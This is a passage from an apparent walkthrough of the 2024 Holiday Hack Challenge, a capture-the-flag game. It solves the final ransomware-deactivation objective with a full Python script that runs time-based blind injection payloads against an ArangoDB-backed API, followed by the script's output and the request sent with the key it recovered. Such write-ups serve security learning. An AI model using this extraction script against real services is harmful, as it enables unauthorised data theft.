request with the payload, and assess the time it takes for the server to respond. If greater than 2 seconds, the condition is true. We used 2 seconds as 1 second could lead to some false positives - normal responses could take anywhere from 150 to 1400 milliseconds. - Firstly, enumerate the names of the keys/attributes within the
doc
document. - After the keys are collected, iterate through each key, and attempting to enumerate each key's value. We skip trying to find the value for any key which begins with an underscore. As we've previously mentioned from the documentation, this tyhpe of key indicates a system attribute, and we assume that won't help us with deactivating the solution.
The solution code looks as such:
import requests
import time
import string
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target server and proxy configuration
target_url = "https://api.frostbit.app/api/v1/frostbitadmin/bot/e542cd81-fa30-4d32-8603-7a15a7003b89/deactivate"
proxy = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
# Characters to test (lowercase, uppercase, digits, symbols)
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_-{}[].,:\"' "
# Function to test a specific condition with timing-based delays
def test_condition(payload):
headers = {
"X-API-Key": payload,
"User-Agent": "Go-http-client/1.1",
"Accept-Encoding": "gzip"
}
start_time = time.time()
try:
response = requests.get(target_url, headers=headers, proxies=proxy, verify=False)
except Exception as e:
print(f"[!] Error: {e}")
return False
elapsed_time = time.time() - start_time
return elapsed_time > 2 # Return True if delay detected
# General function to enumerate data
def enumerate_data(payload_template, max_items, max_length, item_name="item", **kwargs):
enumerated_results = []
print(f"[*] Starting enumeration of {item_name}s...")
for item_index in range(max_items):
result = ""
print(f"[*] Testing {item_name} at index {item_index}...")
for position in range(max_length): # Positions are typically 1-based in SQL
found = False
for char in charset:
# Construct the payload with the appropriate variables
payload = payload_template.format(
index=item_index,
position=position,
char=char,
**kwargs
)
print(f"[*] Testing position {position}, character '{char}'", end='\r')
if test_condition(payload):
result += char
print(f"[+] Found character at position {position}: '{char}'")
found = True
break
if not found:
print(f"[*] No more characters found for this {item_name}, stopping.")
break
if result:
print(f"[+] Complete {item_name} at index {item_index}: {result}")
enumerated_results.append(result)
else:
print(f"[*] No {item_name} found at index {item_index}, stopping enumeration.")
break
print(f"[+] All enumerated {item_name}s: {enumerated_results}")
return enumerated_results
# Main function
def main():
# Step 1: Enumerate all attributes
attribute_payload_template = (
"' OR SUBSTRING(ATTRIBUTES(doc)[{index}], {position}, 1) == '{char}' AND sleep(2) AND '1'=='1"
)
attributes = enumerate_data(attribute_payload_template, max_items=10, max_length=30, item_name="attribute")
if not attributes:
print("[!] No attributes found, stopping.")
return
# Step 2: Enumerate values for each document
all_data = {}
value_payload_template = (
"' OR SUBSTRING(doc.{attribute}, {position}, 1) == '{char}' AND sleep(2) AND '1'=='1"
)
doc_index = 0
document_values = {}
filtered_attributes = [attr for attr in attributes if not attr.startswith("_")]
print(f"[+] Filtered attributes (excluding underscores): {filtered_attributes}")
for attribute in filtered_attributes:
values = enumerate_data(
value_payload_template,
max_items=1, # We only need one "document" per attribute
max_length=66,
item_name=f"value for attribute '{attribute}'",
attribute=attribute
)
# Add the enumerated value or empty string (if no value was found)
document_values[attribute] = values[0] if values else ""
all_data[f"Document {doc_index}"] = document_values
# Step 3: Print all results
print("\n[+] Complete Enumeration Results:")
for doc, data in all_data.items():
print(f"{doc}: {data}")
if __name__ == "__main__":
main()
Finding the Deactivation Key
Running the script will yield the following output. Included in the output is value of our deactivate_api_key
.
python3 solution.py
[*] Starting enumeration of attributes...
[*] Testing attribute at index 0...
< -- Truncated for Brevity -->
[+] All enumerated attributes: ['deactivate_api_key', '_rev', '_key', '_id']
[+] Filtered attributes (excluding underscores): ['deactivate_api_key']
[*] Starting enumeration of value for attribute 'deactivate_api_key's...
< -- Truncated for Brevity -->
[*] No more characters found for this value for attribute 'deactivate_api_key', stopping.
[+] Complete value for attribute 'deactivate_api_key' at index 0: abe7a6ad-715e-4e6a-901b-c9279a964f91
[+] All enumerated value for attribute 'deactivate_api_key's: ['abe7a6ad-715e-4e6a-901b-c9279a964f91']
[+] Complete Enumeration Results:
Document 0: {'deactivate_api_key': 'abe7a6ad-715e-4e6a-901b-c9279a964f91'}
Deactivate the Ransomware
Take the API key, and paste the value into a GET
request on the /deactivate
endpoint, removing any SQL injection. Prior to sending the request, I recommend logging back into the HHC game and displaying the browser window. You've worked hard to get to this point, and you'll want to see the graphics celebrating your deactivation 😄.
GET /api/v1/frostbitadmin/bot/e542cd81-fa30-4d32-8603-7a15a7003b89/deactivate?debug=true HTTP/2
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91
Content-Type: application/json
Accept-Encoding: gzip
The server should respond with a JSON object, with a successful deactivation message, and a status
of Deactivated!
GLORYYYYY!!!!!!
Objective Takeaways
We built on our understanding of the ransomware's website, to use the developer troubleshooting capability to analyze error messages of the /deactivate
endpoint. We were able to use the error messages to analyze the ArangoDB backend service, and use blind-based SQL injection vulnerability to extract the API key needed to deactivate the ransomware.
Act III & 2024 HHC Conclusion
To complete the Holiday Hack Challenge, log back in to the game - if you haven't already done so. Go back towards the DMZ - where Santa was previously located - and walk north and into the Castle. Talk to Santa, where he explains you've saved Christmas! The credits will roll. From there, you've completed everything within this year's edition of the Challenge. Congratulations!
Wrap-Up
Nearly 28,000+ words later, we conclude the 2024 Holiday Hack Challenge. Don't forget to navigate to your profile, which showcases all of the challenges completed. There were 16 unique objectives in all, 30 in total (14 silver, 16 gold) when you break it down by difficulty levels. All in all we covered the following topics:
- Web App Testing - including JavaScript testing, Web Game testing, custom Web App testing
curl
command line uses- Hardware Hacking (Part I & II)
- Keypad Hacking
- Android/Mobile App Analysis
- Drone Path Analysis
- KQL/Microsoft KC7 Forensics
- Powershell Scripting
- ELK/Log Analytics
- Analyzing, Decrypting, and Deactivating Ransomware